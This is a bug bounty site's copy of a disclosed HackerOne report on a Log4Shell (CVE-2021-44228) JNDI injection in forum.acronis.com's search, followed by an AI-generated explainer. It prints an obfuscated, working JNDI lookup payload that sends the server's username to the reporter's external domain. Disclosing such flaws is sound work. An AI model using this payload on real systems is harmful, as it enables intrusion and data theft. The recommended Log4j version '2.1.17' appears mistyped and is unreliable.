Skip to content
RCE Disclosed report Intermediate CVE-2021-44228

[forum.acronis.com] JNDI Code Injection due an outdated log4j component

The forum search function used an outdated Log4j component vulnerable to JNDI injection, allowing an authenticated user to trigger remote code execution. The attacker could exfiltrate system information to a controlled server.

godiego Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 2 days
  • Fixed in 4 months
  • Paid in 4 months
  • Disclosed after 2.7 years

Summary

Hi team,

It seems that the machine is affected by the latest CVE-2021-44228 which grants any authenticated user command execution. The vulnerability affects the remote asset forum.acronis.com and this issue allows to remote attackers to perfom Remote Code Execution via JNDI exfiltration.

Steps To Reproduce

Vulnerable request is: https://forum.acronis.com/search?s=${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-04363f1f3427b48.test3.ggdd.co.uk/}.

Which generates a pingback exfiltrating the information to my controlled server ggdd.co.uk:

Screenshot_2021-12-19_at_06-05-20_TukTuk.png
Screenshot_2021-12-19_at_06-05-20_TukTuk.png From the original on HackerOne

We can see that the system username is solr.

Recommendations

Upgrade Log4j to latest version, 2.1.17.

Impact

Remote OS command injection via JNDI queries.

The original report as published on HackerOne, by godiego. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Remote OS command injection via JNDI queries could allow an attacker to execute commands on the server.

What the attacker needed

Authenticated user; network access to forum

The fix

Upgrade Log4j to the latest version, 2.1.17.

How it was found

  1. Send a crafted search request containing a JNDI lookup string.
  2. Observe a pingback to the attacker-controlled server.
  3. Extract the system username from the pingback.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Log4j is a logging library used by many Java applications. An outdated version allowed attackers to inject special strings that made the server connect to an external address, which could lead to running commands on the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Acronis

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.